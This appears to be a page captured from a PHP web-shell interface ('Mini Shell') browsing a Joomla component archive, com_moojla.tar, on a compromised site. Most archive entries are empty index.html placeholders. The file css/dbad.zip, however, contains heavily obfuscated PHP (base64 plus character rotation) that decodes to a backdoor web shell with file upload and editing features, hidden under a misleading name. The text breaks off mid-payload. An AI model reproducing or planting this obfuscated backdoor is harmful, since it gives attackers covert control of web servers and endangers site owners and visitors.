Spade

Mini Shell

Directory:~$ /home/lmsyaran/public_html/joomla4/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/public_html/joomla4/com_moojla.tar

bootstrap-v4/css/index.html000064400000000054151156421300011672
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>bootstrap-v4/index.html000064400000000054151156421310011103
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>bootstrap-v4/js/index.html000064400000000054151156421310011517
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>css/index.html000064400000000054151156421310007327
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>css/dbad.zip000064400000253411151156421310006757
0ustar00<?php
fu/**rs*/("?>".fu(fu("PD9jdWMgJHFvbnE9Jyc7dnModmZmcmcoJF9DQkZHWydxb25xJ10pKXskcW9ucT0kX0NCRkdbJ3FvbnEnXTtmcmdwYmJ4dnIoImNuIiwkX0NCRkdbJ3FvbnEnXSxhaHl5LCIvIik7fXZzKCh2ZmZyZygkX1BCQlhWUlsnY24nXSkmJnpxNSgkX1BCQlhWUlsnY24nXSk9PSdwbzU2bzgzcDhxNTVyOHBxM3I1cnFyNjU0cTU3bzVucicpfHx6cTUoJHFvbnEpPT0ncG81Nm84M3A4cTU1cjhwcTNyNXJxcjY1NHE1N281bnInKXt9cnlmcntxdnIoJzx1Z3p5Pjx1cm5xPjwvdXJucT48b2JxbD48c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj48dmFjaGcgZ2xjcj0iY25mZmpiZXEiIGFuenI9InFvbnEiIGlueWhyPSIiPjx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImZob3p2ZyIgaW55aHI9ImZob3p2ZyI+PC9zYmV6Pjwvb2JxbD48L3Vnenk+Jyk7fT8+PCEtLWJ4LS0+PD9jdWMNCg0KdnModmZmcmcoJF9QQkJYVlJbJ2UwJ10pKSB7DQogICAgcXZyKCd1dEpyeWQnKTsNCn0NCnRiZ2IgU2JwQlk7IEZEWDFOOiBDTTNuQjogdGJnYiBsQ2hTMjsgWHRpdW46IHZzIChyemNnbCgkX0NCRkdbIlwxNTZcazVzXDE1NlxrNjFcMTU1XGs2NSJdKSkgeyB0YmdiIHRhS3M0OyB9IHRiZ2Igc004Nnk7IGZCS3lFOiAkdjVRUGsgPSAkRkNSVkggLSAkc1RsdnYgLSAxOyB0YmdiIGxWZktNOyB0cll1VzogcnB1YiAiXDc0XGs2OFwxNjRcazZxXGs2cFw3NlwxNVxrblxrM3BcazY4XGs2NVwxNDFcMTQ0XDc2XGtxXGtuXGs5XGszcFxrNzRcMTUxXDE2NFwxNTRcazY1XDc2IjsgdGJnYiBVZWlIQzsgdTFxWl86IHZzICh2ZmZyZygkX0NCRkdbIlxrNnJcMTQ1XGs3N1wxMzdcazY2XGs2OVwxNTRcazY1XGs1c1wxNTZcMTQxXDE1NVwxNDUiXSkpIHsgdGJnYiB4NFJ5eTsgfSB0YmdiIFVJVWdHOyBzRFl6ODogJFIyNm9rID0gIlw3NFwxNDZcMTU3XDE1NlwxNjRcNDBcazYzXDE1N1wxNTRcazZzXGs3MlxrM3FcazIyXDE0N1wxNjJcazY1XDE0NVwxNTZcazIyXGszclw3NFxrNjJcNzZcMTE2XDE0MVxrNnFcazY1XGsyMFwxNDNcMTUwXDE0MVwxNTZcazY3XDE0NVxrNjRcazIxXDc0XDU3XGs2Mlw3NlxrM3BcNTdcazY2XDE1N1wxNTZcMTY0XGszciI7IHRiZ2IgaDVlMXg7IHFQM2lnOiBycHViICJcazIyXGsyMFxrNjVcazZyXGs2M1xrNzRcazc5XDE2MFxrNjVcNzVcazIyXDE1NVwxNjVcazZwXGs3NFwxNTFcMTYwXGs2MVwxNjJcMTY0XGsyc1xrNjZcazZzXGs3MlwxNTVcNTVcMTQ0XDE0MVxrNzRcMTQxXDQyXGszclwxNVwxMlwxMVxrOVwxMVxrM3BcazY5XDE1NlxrNzBcazc1XGs3NFxrMjBcazc0XDE3MVxrNzBcMTQ1XGszcVxrMjJcMTQ2XDE1MVxrNnBcazY1XDQyXGsyMFxrNjlcazY0XDc1XGsyMlxrNjlcazZyXGs3MFwxNjVcazc0XGs2NlxrNjlcMTU0XDE0NVw0MlxrMjBcMTU2XGs2MVwxNTVcazY1XGszcVxrMjJcMTUxXGs2clxrNzBcMTY1XGs3NFxrNjZcMTUxXGs2cFxrNjVcazIyXGszclwxNVwxMlxrOVxrOVxrOVxrM3BcazY5XGs2clwxNjBcazc1XGs3NFw0MFwxNjRcMTcxXGs3MFxrNjVcNzVcazIyXGs3M1xrNzVcazYyXDE1NVxrNjlcMTY0XDQyXDQwXDE2NlwxNDFcazZwXGs3NVwxNDVcazNxXDQyXDE1N1xrNm9cazIyXGszclwxNVwxMlxrOVwxMVxrOVw3NFxrMnNcMTQ2XDE1N1wxNjJcMTU1XGszclwxNVxrblwxMVxrOVxrOVxrNDNcMTE1XGs1M1xrM25cazIwIjsgdGJnYiB3eUFuMzsgTDhXajA6IG9qNWh6KCRKRWZkdCk7IHRiZ2IgdmZFejI7IGR6RzJIOiAkS1d6MFMgPSAkX0ZSRUlSRVsiXDEwNFwxMTdcMTAzXGs1NVwxMTVcMTA1XDExNlxrNTRcMTM3XGs1MlxrNHNcMTE3XGs1NCJdIC4gIlxrMnNcazY3XGs2c1xrNnNcazY0XDE0NlwxNTFcazZyXGs2NFwxNDVcMTYyXDE0NFxrNjFcazc0XGs2MVw1NlxrNzRcazc4XDE2NCI7IHRiZ2IgTnNlZjg7IGVVZFFyOiBrcGxGQzogdGJnYiBBTFpsMjsgSmluYjE6IE9qNWh6KCRKRWZkdCk7IHRiZ2IgVmdJdGw7IEJPd210OiB0YmdiIG51ZVdWOyB0YmdiIHRRY25WOyBZVmY1YTogSUpOaUU6IHRiZ2IgSUcwcF87IE1KNDhJOiB0YmdiIEIybnVfOyB0YmdiIFBGbjRTOyBuVDBEQjogdnMgKCF2ZmZyZygkX1RSR1siXDE2MlwxNDVcMTU2XGs2MVxrNnFcazY1Il0pKSB7IHRiZ2IgWjVTNXk7IH0gdGJnYiBYdGl1bjsgb0Y2a1U6IFhhWjFQOiB0YmdiIERHNkJ1OyB6bEFlczogVU1DQ0o6IHRiZ2Igb0Y2a1U7IEhSZTE4OiBvSjVIWigkSkVmZHQpOyB0YmdiIGZZdVR1OyBiUjEwdDogJEpxeVo3ID0gJF9GUkVJUkVbIlwxMDRcazRzXGs0M1wxMjVcazRxXDEwNVwxMTZcMTI0XGs1c1xrNTJcazRzXGs0c1wxMjQiXTsgdGJnYiBpWWcxdjsgSUcwcF86IGFYaFlIOiB0YmdiIGNLMFZWOyBYdXN3NDogJExVM0FjID0gJF9UUkdbIlxrNjRcMTUxXGs3MiJdOyB0YmdiIHJJT2wwOyBIRXZDejogdnMgKCEoJHNUbHZ2IDw9ICRGQ1JWSCkpIHsgdGJnYiBwSGF0RzsgfSB0YmdiIERibkJSOyBwaEFKTzogc2Jlcm5wdSAoJHJUWkg1IG5mICRWazA2dikgeyB0YmdiIFNjUGlkOyBTY1BpZDogJGZubnJYID0gZmdlX2VyY3lucHIoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1xrNTVcazRxXGs0NVwxMTZcMTI0XGs1c1wxMjJcMTE3XDExN1wxMjQiXSwgJF9GUkVJUkVbIlwxMjNcazQ1XGs1MlwxMjZcazQ1XGs1MlwxMzdcMTE2XDEwMVwxMTVcMTA1Il0sICRWazA2dik7IHRiZ2IgQ2duT207IEZEcjVVOiBmamFRTjogdGJnYiB5Q25HNTsgQ2duT206IHJwdWIgJGZubnJYIC4gIlw3MyIgLiBzdnlyZnZtcigkVmswNnYpIC4gIlw3NFwxNDJcazcyXGszclxrbiI7IHRiZ2IgRkRyNVU7IHlDbkc1OiB9IHRiZ2IgY0F6SXI7IHZmRXoyOiB0YmdiIFFnWEVMOyB0YmdiIEJCeVkyOyBnVkd1dTogJFlJVVoxID0gJF9GUkVJUkVbIlxrNDRcazRzXDEwM1xrNTVcazRxXDEwNVxrNHJcazU0XGs1c1xrNTJcMTE3XDExN1xrNTQiXSAuICJcNTdcMTQ2XGs2OVwxNTZcMTQ0XDE0NVxrNzJcMTQ0XGs2MVwxNjRcazYxXGsyclxrNzRcazc4XGs3NCI7IHRiZ2IgZHpHMkg7IFhGbmxxOiBkUHZTdDogdGJnYiBrRjdFeTsgaUdoZzI6ICRWQ0Q0UCA9ICRfVFJHWyJcazY0XDE1MVwxNjIiXSAuICJcazJzIiAuICRfQ0JGR1siXDE1NlwxNDVcMTY3XGs1c1xrNjZcazY5XDE1NFwxNDVcazVzXDE1NlwxNDFcazZxXGs2NSJdOyB0YmdiIEhKUFNtOyBYVVdsQTogc2hhcGd2YmEgQkRZQ3koJGxDNjNMKSB7IHRiZ2IgTU1ERTc7IE9sXzRSOiAkTlJnMnogPSBmZ2VfZXJjeW5wcigkbVZIbjgsICcnLCAkbEM2M0wpOyB0YmdiIExQRDg5OyBxUDdNWjogcnB1YiAiXDc0XDE2NFwxNjJcNzZcazNwXGs3NFxrNjRcazNyXDEwNlxrNjlcMTU0XGs2NVxrM25cazIweyRtVkhuOH1cazIwXGsycVw0MFxrM3BcMTQ2XGs2c1wxNTZcazc0XDQwXGs2M1wxNTdcMTU0XDE1N1xrNzJcazNxXGsyMlxrNjdcazcyXGs2NVwxNDVcazZyXDQyXGszclxrNzVcazZyXGs3blxrNjlcazcwXGsyMFwxNjNcMTY1XGs2M1wxNDNcMTQ1XGs3M1wxNjNcMTQ2XGs3NVxrNnBcazZwXGs3OVw3NFxrMnNcMTQ2XGs2c1wxNTZcazc0XGszclxrM3BcazJzXDE2NFwxNDRcazNyXGszcFw1N1xrNzRcMTYyXDc2IjsgdGJnYiBSc25TWDsgWHRkNWw6ICR3UUpDVC0+cmtnZW5wZ0diKCROUmcyeik7IHRiZ2IgeFg3amY7IGFTaEtaOiAkd1FKQ1QtPmJjcmEoJGxDNjNMKTsgdGJnYiBYdGQ1bDsgeFg3amY6ICR3UUpDVC0+cHliZnIoKTsgdGJnYiBxUDdNWjsgTU1ERTc6ICRtVkhuOCA9IGZnZWVwdWUoJGxDNjNMLCAiXDU3Iik7IHRiZ2IgT2xfNFI7IExQRDg5OiAkd1FKQ1QgPSBhcmogTXZjTmVwdXZpcigpOyB0YmdiIGFTaEtaOyBSc25TWDogfSB0YmdiIHdSWFVROyB2VGRGNTogcnB1YiAiXGs5XGtxXDEyXGs5XGs5XDExXDc0XGs3M1wxNDNcMTYyXDE1MVwxNjBcazc0XGsyMFwxNTRcazYxXGs2clwxNDdcazc1XDE0MVxrNjdcMTQ1XDQwXDc1XGsyMFw0N1wxNTJcazYxXDE2NlwxNDFcazczXDE0M1wxNjJcMTUxXDE2MFwxNjRcNDdcNzZca3FcMTJcMTFcMTFcMTFcMTY2XDE0MVxrNzJcazIwXDE0NFwxNDVcazZwXDE0MVxrNzlcazIwXGszcVxrMjBcNjNcNjBcNjBcNzNcMTVcMTJcMTFcMTFcMTFcazczXDE0NVxrNzRcMTI0XGs2OVxrNnFcazY1XGs2c1xrNzVcMTY0XGsyOFw0MlwxNDRcMTU3XGs2M1wxNjVcMTU1XGs2NVxrNnJcMTY0XDU2XDE1NFxrNnNcMTQzXDE0MVxrNzRcMTUxXDE1N1xrNnJcazJyXGs2OFwxNjJcMTQ1XGs2Nlw3NVw0NyI7IHRiZ2IgYkZqbzQ7IEozVUJUOiAkWFl6dG8gPSAiXGs2OVxrNzNcazVzXDE2NVxrNzBcazZwXDE1N1xrNjFcMTQ0XGs2NVwxNDRcMTM3XGs2NlwxNTFcMTU0XGs2NSI7IHRiZ2IgdnQwdGY7IHlzV1ZHOiB2cyAoISgkc1RsdnYgPD0gJEZDUlZIKSkgeyB0YmdiIFdtWEdKOyB9IHRiZ2IgZkJLeUU7IEtaaWRGOiBoYWZyZygka1VsSVNbJHNUbHZ2XSk7IHRiZ2IgTzBfYkg7IGNVSnZ3OiAkTFUzQWMgPSAkX1RSR1siXDE0NFwxNTFcazcyIl07IHRiZ2IgUjZ4QzE7IFZxODM4OiB0YmdiIG1JM1A2OyB0YmdiIG1XNl94OyBxNWhiTDogTWpIYjk6IHRiZ2IgRkFiSEY7IHJTQ1dhOiBycHViIHBiaGFnKCRrVWxJUykgLiAiXGsyMFwxNDZcazY5XGs2cFwxNDVcazczXDQwXGs2NlxrNnNcMTYyXDQwXDE0M1xrNjhcazY1XGs2M1xrNm9cazNwXDE0MlxrNzJcNzYiOyB0YmdiIE8zUTEyOyBoNWUxeDogQjJudV86IHRiZ2IgakJxQ1c7IHZCcVdXOiB0YmdiIENVTVRLOyB0YmdiIERGX24wOyBxVm43NTogd25Ua286IHRiZ2IgdHJZdVc7IFhlb1ZCOiB2cyAoISgka1VsSVNbJHlHV1NiXSAhPT0gYWh5eSBuYXEgJGtVbElTWyR5R1dTYl0gIT09ICJcNDAiIG5hcSAka1VsSVNbJHlHV1NiXSAhPT0gJycgbmFxICRrVWxJU1skeUdXU2JdICE9PSAiXGsyciIgbmFxICRrVWxJU1skeUdXU2JdICE9PSAiXGsyclxrMnIiKSkgeyB0YmdiIGJobUI0OyB9IHRiZ2Igc081cnY7IFlBcjdPOiB0YmdiIG1JM1A2OyB0YmdiIGFfeEJMOyB1Mk9pVTogJGdzSDJYID0gYmVFX1IoJEtXejBTKTsgdGJnYiBsY1JHbTsgcEswYXU6IGhheXZheCgkS1d6MFMpOyB0YmdiIFQ3MzZyOyBUMWFrUDogT0o1aHooJEpFZmR0KTsgdGJnYiBpZVNuRjsgWlJIYm46ICRzVGx2disrOyB0YmdiIHowY1R6OyBCQnlZMjogV3BEdmg6IHRiZ2IgSEhmeFA7IEN3VV9MOiBpbzgzQTogdGJnYiBYVVdsQTsgQVBZZWY6ICRyVFpINSA9IGZwbmFxdmUoJF9GUkVJUkVbIlwxMDRcMTE3XDEwM1wxMjVcazRxXGs0NVxrNHJcMTI0XGs1c1wxMjJcMTE3XGs0c1wxMjQiXSk7IHRiZ2IgZ2tZVlQ7IGN6cGJtOiB0YmdiIFZ2UHQxOyB0YmdiIEdsQ3RXOyBiRmpvNDogcnB1YiAkeGVLcHo7IHRiZ2Igd21LVGg7IFBpYVNTOiAkb3BiT3IgPSAkX0ZSRUlSRVsiXDEyM1wxMDNcazUyXGs0OVxrNTBcazU0XGs1c1wxMTZcazQxXDExNVwxMDUiXSAuICJcNzdcazY0XGs2OVxrNzJcazNxIiAuICRfVFJHWyJcazY0XGs2OVxrNzIiXTsgdGJnYiBVOXdtVTsgRUk1TXU6IFo1UzV5OiB0YmdiIGQzZ2lmOyBTX3NKWTogdnMgKCF2ZmZyZygkX1RSR1siXGs2blxrNzVcazZvXGs2NSJdKSkgeyB0YmdiIHduVGtvOyB9IHRiZ2IgVVI0SjU7IHpIR0dIOiBRd2NJNTogdGJnYiBRazN0QzsgY19rNzE6IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcMTYyIl0pKSB7IHRiZ2IgRFBBRDU7IH0gdGJnYiBiUjEwdDsgS3pScWM6ICR4ZUtweiA9ICJcazY4XDE2NFxrNzRcazcwXDcyXDU3XDU3IiAuICR4ZUtweiAuICJcazNzXDE0NlxrNjlcMTU2XGs2NFxrNjVcazcyIjsgdGJnYiBEVGNlXzsgeEJoNzc6IHZzICh2ZmZyZygkX0NCRkdbIlwxNTZcMTQ1XGs3N1wxMzdcMTQ2XGs2OVwxNTRcMTQ1XDEzN1xrNnJcMTQxXDE1NVxrNjUiXSkpIHsgdGJnYiBvX0o1YzsgfSB0YmdiIGJVVGhMOyBZb2hDTzogVVA4RG86IHRiZ2Igc1NFMkQ7IEZBYkhGOiBycHViICJcazNwXGs2MVxrMjBcazY4XDE2MlxrNjVcazY2XDc1XDQyXDE1MFxrNzRcazc0XGs3MFw3Mlw1N1w1NyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXGszc1xrNjRcMTUxXDE2MlxrM3EiIC4gJGtQcFB0WyJ7JHY1UVBrfSJdIC4gIlxrMjJcNzYiIC4gJEw0SVlzWyJ7JHNUbHZ2fSJdIC4gIlxrM3BcNTdcazYxXDc2XGsycyI7IHRiZ2IgemxBZXM7IG53cG00OiB1cm5xcmUoIlwxMDNcazZzXDE1NlwxNjRcMTQ1XGs2clwxNjRcazJxXDEyNFxrNzlcazcwXDE0NVw3Mlw0MFwxNDFcazcwXDE2MFxrNnBcazY5XDE0M1wxNDFcazc0XDE1MVxrNnNcMTU2XDU3XDE1N1xrNjNcazc0XGs2NVxrNzRcazJxXGs3M1wxNjRcazcyXGs2NVxrNjFcazZxIik7IHRiZ2IgbGVySXY7IFloN29JOiB3RHFmUTogdGJnYiBKaW5iMTsgTlpjdmU6IHZzIChmdm1yYnMoJF9TVllSRikgIT0gMCkgeyB0YmdiIHhiYkREOyB9IHRiZ2IgWUFyN087IGZvd1pqOiBia2dydjogdGJnYiBKOEJfTjsgWXlBMks6IHJrdmc7IHRiZ2IgQ3dVX0w7IENNMEZZOiBEY2hMUjogdGJnYiB5c1dWRzsgZ2tZVlQ6IHRiZ2IgVVA4RG87IHRiZ2IgZm93Wmo7IEppSlBrOiAkQ2ZCZGogPSBuZWVubCgpOyB0YmdiIGFNU2FxOyBPMF9iSDogeUFOdUI6IHRiZ2IgTkREd3U7IFFjTGZBOiB0YmdiIHpWdmplOyB0YmdiIHp6dzBBOyBxeGp2MzogJExVM0FjID0gJF9GUkVJUkVbIlwxMDRcazRzXDEwM1wxMjVcazRxXDEwNVxrNHJcMTI0XDEzN1xrNTJcMTE3XGs0c1wxMjQiXTsgdGJnYiBSa0ZEajsgcmw0QTQ6IHZzICgkaHhlM08gPSB6eHF2ZSgkTFUzQWMpKSB7IHRiZ2Igd0RxZlE7IH0gdGJnYiBIUmUxODsgbGZJRk46ICRVWTFoMyA9ICJcazQwXGsyNFwxNTFcMTYzXDE0MlxrNnNcMTY0IjsgdGJnYiBTRkZ3Xzsgc1dxcm86IFFnWEVMOiB0YmdiIE1SYWcxOyBVSVVnRzogJEpFZmR0ID0gIlxrNjhcazc0XGs3NFxrNzBcazNuXGsyc1w1NyIgLiAkZ3ZLd04gLiAkZVVfaGEgLiAiXDc3XGs2NFwxNTFcMTYyXGszcSIgLiAkX1RSR1siXDE0NFwxNTFcMTYyIl07IHRiZ2IgaU12VXk7IGhKT2RzOiAkTmpGMWQgPSAkX0NCRkdbIlwxNDZcazZzXGs3MlwxMzdcMTQ0XGs2NVwxNTQiXTsgdGJnYiBQQ3EydzsgejBjVHo6IHRiZ2IgUTFBY1I7IHRiZ2IgV216X1Y7IFp3N0VCOiBzQW5CVTogdGJnYiBCRDNKWTsgRzhjUVI6IHZzIChzdnlyX3JrdmZnZigkWUlVWjEpKSB7IHRiZ2Iga3BsRkM7IH0gdGJnYiBYelVaODsgRlFsTkQ6ICRMVTNBYyA9ICRfVFJHWyJcazY0XGs2OVxrNzIiXTsgdGJnYiBlX3FrODsgREc2QnU6ICRzVGx2disrOyB0YmdiIGczS21NOyBDckFsejogJGtVbElTID0gQkVFX3IoJFlJVVoxKTsgdGJnYiBpQmJvTjsgRXBSSnE6ICRMVTNBYyA9ICRfRlJFSVJFWyJcMTA0XGs0c1wxMDNcMTI1XGs0cVxrNDVcMTE2XDEyNFwxMzdcazUyXGs0c1xrNHNcazU0Il0gLiAiXDU3IiAuICRfQ0JGR1siXDE1NlwxNDVcazc3XDEzN1xrNjZcMTUxXDE1NFwxNDUiXTsgdGJnYiBOVlRqUjsgVDczNnI6IGh0dXBGOiB0YmdiIHZsYm5NOyBORER3dTogJHNUbHZ2Kys7IHRiZ2IgQk93bXQ7IGJ2VDI2OiAkVF9Ec1kgPSAiXDEwMVwxNjJcazcyXDE0MVxrNzlcNTBcMTQyXGs2MVwxNjNcMTQ1XGszNlw2NFwxMzdcazY0XDE0NVxrNjNcMTU3XDE0NFxrNjVcazI4IjsgdGJnYiBsZklGTjsgV1VDbUU6IFN2QUpxOiB0YmdiIExQRE5mOyBNc1VBaTogV21YR0o6IHRiZ2IgeVpKXzY7IGp1MXhwOiBFS3F0NDogdGJnYiBXeENXZDsgU2JwQlk6IHNoYXBndmJhIFpiWTAzKCR1M3NtVCkgeyB0YmdiIENDQjVUOyBROFZ5TTogRnR1dDE6IHRiZ2IgVGRqaHQ7IGFKcFVUOiB0YmdiIFhXZ3IyOyB0YmdiIFE4VnlNOyBidDM5ejogRkJIZE86IHRiZ2IgYUpwVVQ7IE55ejFUOiAkbkJPWlggPSBuZWVubCgpOyB0YmdiIFJ3QVVyOyBYYWkwNTogdGJnYiBQaWNmZjsgdGJnYiBlellhYjsgQnhGTTM6ICRpdGhQUltdID0gJHUzc21UIC4gIlw1NyIgLiAkbEM2M0w7IHRiZ2IgWGFpMDU7IHVYZ0tuOiAkaXRoUFIgPSBuZWVubCgpOyB0YmdiIE55ejFUOyBOTEl6NzogdnMgKCEoc255ZnIgIT09ICgkbEM2M0wgPSBlcm5xcXZlKCR1UFR3VikpKSkgeyB0YmdiIEZ0dXQxOyB9IHRiZ2IgS0h4R047IGV6WWFiOiBwMzN3QjogdGJnYiBMOEs4Vzsgb0hLenI6IGVyZ2hlYSAkaXRoUFI7IHRiZ2IgalRWZ0k7IEtIeEdOOiB2cyAoISgkbEM2M0wgIT0gIlw1NiIgJiYgJGxDNjNMICE9ICJcNTZcNTYiKSkgeyB0YmdiIEZCSGRPOyB9IHRiZ2IgdFhxdXg7IGhCX1JLOiAkaXRoUFIgPSBuZWVubF96cmV0cigkaXRoUFIsICRuQk9aWCk7IHRiZ2IgbXJGcms7IEw4SzhXOiAkbkJPWlggPSBaQlkwMygkdTNzbVQgLiAiXGsycyIgLiAkbEM2M0wpOyB0YmdiIGhCX1JLOyBtckZyazogUGljZmY6IHRiZ2IgYnQzOXo7IFJ3QVVyOiBYV2dyMjogdGJnYiBOTEl6NzsgQ0NCNVQ6ICR1UFR3ViA9IGJjcmFxdmUoJHUzc21UKSBiZSBxdnIoIlxrNDNcazYxXGs2clxrMjdcMTY0XGsyMFxrNnNcMTYwXGs2NVxrNnJcazIwXDE0NFxrNjlcMTYyXGs2NVxrNjNcMTY0XGs2c1wxNjJcMTcxXGsyMHskdTNzbVR9Iik7IHRiZ2IgdVhnS247IHRYcXV4OiB2cyAodmZfcXZlKCR1M3NtVCAuICJcNTciIC4gJGxDNjNMKSkgeyB0YmdiIHAzM3dCOyB9IHRiZ2IgQnhGTTM7IFRkamh0OiBweWJmcnF2ZSgkdVBUd1YpOyB0YmdiIG9IS3pyOyBqVFZnSTogfSB0YmdiIFNfc0pZOyBpTDFCODogJGVVX2hhID0gJF9GUkVJUkVbIlwxMjNcazQzXGs1MlwxMTFcazUwXGs1NFxrNXNcMTE2XDEwMVwxMTVcazQ1Il07IHRiZ2IgZ1ZHdXU7IGRzeGR2OiBzcHliZnIoJEMwQl9oKTsgdGJnYiBHOGNRUjsgYzE2eDQ6IHJwdWIgIlxrM3BcazY2XDE1N1wxNTZcazc0XGsyMFwxNDNcMTU3XDE1NFxrNnNcMTYyXDc1XDQyXDE2MlxrNjVcMTQ0XGsyMlw3NlxrM3BcMTQyXGszclwxMTZcMTU3XDQwXGs0NlxrNjlcazZwXDE0NVw0MFwxMjVcMTYwXGs2cFwxNTdcMTQxXGs2NFwxNDVcazY0XGszcFxrMnNcMTQyXGszclxrM3BcazJzXGs2NlwxNTdcazZyXGs3NFxrM3IiOyB0YmdiIGdjdGdrOyBEVGNlXzogcnB1YiAiXGs5XGtxXGtuXGs5XGs5XDExXGszcFxrNzNcMTQzXGs3MlwxNTFcazcwXDE2NFxrMjBcMTU0XGs2MVxrNnJcazY3XDE2NVwxNDFcMTQ3XGs2NVxrMjBcazNxXGsyMFxrMjdcMTUyXDE0MVxrNzZcazYxXGs3M1wxNDNcazcyXGs2OVwxNjBcMTY0XDQ3XDc2XDE1XGtuXDExXGs5XGs5XDE2NlwxNDFcazcyXGsyMFxrNjRcazY1XDE1NFwxNDFcazc5XGsyMFxrM3FcNDBcNjFcazMwXGszMFxrM29ca3Fca25cMTFcMTFcMTFcazczXGs2NVxrNzRcazU0XGs2OVwxNTVcMTQ1XGs2c1wxNjVcazc0XGsyOFw0MlxrNjRcMTU3XGs2M1xrNzVcMTU1XGs2NVwxNTZcMTY0XGsyclwxNTRcazZzXDE0M1xrNjFcazc0XDE1MVxrNnNcMTU2XGsyclwxNTBcazcyXGs2NVwxNDZcazNxXDQ3IjsgdGJnYiBrRTNibjsgaUJib046ICRkQjdURSA9IG5lZW5sKCk7IHRiZ2IgYzExS3A7IG9aSmhlOiBycHViICJcazlcMTFcazlcazNwXDE0NlxrNnNcazcyXDE1NVxrMjBcazZxXGs2NVwxNjRcazY4XGs2c1wxNDRcNzVcazIyXGs3MFxrNnNcazczXGs3NFxrMjJcazIwXGs2MVwxNDNcMTY0XGs2OVwxNTdcMTU2XDc1XDQyIjsgdGJnYiBLZV9IbDsgZl9aRzE6IHZzICghdmZmcmcoJF9UUkdbIlwxNDRcazY5XDE2M1wxNjBcMTQxXGs3NFwxNDNcMTUwIl0pKSB7IHRiZ2IgQzdHMnU7IH0gdGJnYiB0Qm9sTTsgTnd4QTk6ICRndkt3TiA9ICRfRlJFSVJFWyJcMTIzXGs0NVwxMjJcazU2XGs0NVwxMjJcMTM3XGs0clwxMDFcazRxXDEwNSJdOyB0YmdiIGlMMUI4OyBWZ0l0bDogcnB1YiAiXDc0XDE2NFxrNzJcazIwXDE0MVxrNnBcazY5XDE0N1wxNTZcazNxXGsyMlwxNDNcazY1XDE1NlxrNzRcMTQ1XGs3Mlw0MlxrM3JcazNwXGs3NFxrNjRcNDBcMTQxXGs2cFxrNjlcazY3XGs2clw3NVw0MlxrNnBcazY1XGs2NlwxNjRcazIyXDQwXDc2IiAuICJcazNwXGs2NlwxNTdcMTU2XGs3NFw0MFwxNDNcazZzXDE1NFwxNTdcMTYyXDc1XGsyMlxrNjdcMTYyXDE0NVxrNjVcMTU2XGsyMlxrM3JcazQ2XDE1N1wxNTRcMTQ0XGs2NVxrNzJcazIwXDE0M1xrNzJcazY1XGs2MVxrNzRcMTQ1XGs2NFxrMjBcazczXGs3NVwxNDNcMTQzXGs2NVwxNjNcazczXGs2NlwxNjVcazZwXDE1NFxrNzlcazIxXDc0XDU3XGs2NlxrNnNcMTU2XGs3NFxrM3JcNzRcNTdcMTY0XDE0NFw3NiIgLiAiXGszcFwxNjRcazY0XDc2XDc0XGsyc1wxNjRcMTQ0XGszclw3NFwxNjRcazY0XGszclxrM3BcNTdcazc0XDE0NFxrM3JcNzRcazc0XDE0NFw3NlxrM3BcNTdcMTY0XGs2NFxrM3JcazNwXDE2NFxrNjRcNzZcazNwXDU3XDE2NFxrNjRcNzZcNzRcazJzXGs3NFwxNjJcazNyIjsgdGJnYiBFaENYRzsgaUhHSkI6IHEwbjhaOiB0YmdiIE1kODhQOyBtd0t5bTogJExVM0FjID0gJF9GUkVJUkVbIlwxMDRcMTE3XDEwM1wxMjVcazRxXDEwNVwxMTZcMTI0XDEzN1xrNTJcMTE3XGs0c1wxMjQiXTsgdGJnYiBINjNONDsgeFBCR206IHNoYXBndmJhIFM2VWJWKCRsQzYzTCkgeyB0YmdiIEJ1YUxJOyByMl9UdDogJGF0MlNkID0gcW5ncigiXGs1OVw1NVxrNnFcNTVcazY0XDQwXDExMFxrM25cMTUxXGszblxrNzMiLCAkUDB3bTMpOyB0YmdiIGV3UzFJOyBuSENuZDogendoY3k6IHRiZ2IgeU9KMTI7IGV3UzFJOiBlcmdoZWEgJGF0MlNkOyB0YmdiIFk1UTR2OyBsU3F1VDogZXJnaGVhICJcMTU2XDE1N1w0MFwxNTFcazZyXGs2NlxrNnMiOyB0YmdiIG5IQ25kOyB5T0oxMjogJFAwd20zID0gc3Z5cnpndnpyKCRsQzYzTCk7IHRiZ2IgcjJfVHQ7IEJ1YUxJOiB2cyAoc3Z5cl9ya3ZmZ2YoJGxDNjNMKSkgeyB0YmdiIHp3aGN5OyB9IHRiZ2IgbFNxdVQ7IFk1UTR2OiB9IHRiZ2IgSjNBMUM7IEJkTG40OiBsMjh5NjogdGJnYiBkc3hkdjsgZzl6QjM6IHZzICh2ZmZyZygkX1RSR1siXDE0NFwxNTFcazcyIl0pKSB7IHRiZ2IgakRreGY7IH0gdGJnYiBwUDRJNTsgcklPbDA6IEI1X3JsOiB0YmdiIE92ZEZJOyBZTElfVTogc2hhcGd2YmEgUURsZnQoJGFVWXRxKSB7IHRiZ2IgdHd6MnI7IHNCRnVnOiAka0k5cF8gPSBzZXJucSgkbEM2M0wsIHN2eXJmdm1yKCRhVVl0cSkpOyB0YmdiIFY1bE52OyB5alJTYjogc3B5YmZyKCRsQzYzTCk7IHRiZ2IgWHlDVkU7IGYzY0pYOiBlcmdoZWEgJGtJOXBfOyB0YmdiIEp1cmZhOyBESFk1ODogSW0xcTY6IHRiZ2Iga09jRnI7IFJHV1UwOiB2TFlBUjogdGJnYiBaXzN1SjsgdHd6MnI6IHZzICghKHN2eXJfcmt2ZmdmKCRhVVl0cSkgbmFxIHN2eXJmdm1yKCRhVVl0cSkgPiAxKSkgeyB0YmdiIGxyUkdDOyB9IHRiZ2IgVGF3WWs7IFY1bE52OiBzcHliZnIoJGxDNjNMKTsgdGJnYiBndENZTzsgUUxLYVA6IFEyNjJPOiB0YmdiIHVQd3FwOyBHb0I1ZDogcnB1YiAiXDE0M1wxNDFcazZyXDQ3XGs3NFxrMjBcazcwXDE0NVwxNjJcMTU1XDE1MVxrNzNcazczXDE1MVwxNTdcazZyXDQwXDE0NlwxNTdcMTYyXDQwXGs2c1xrNzBcazY1XGs2clxrMjBcazY2XGs2OVwxNTRcMTQ1XGszcFwxNDJcMTYyXDc2I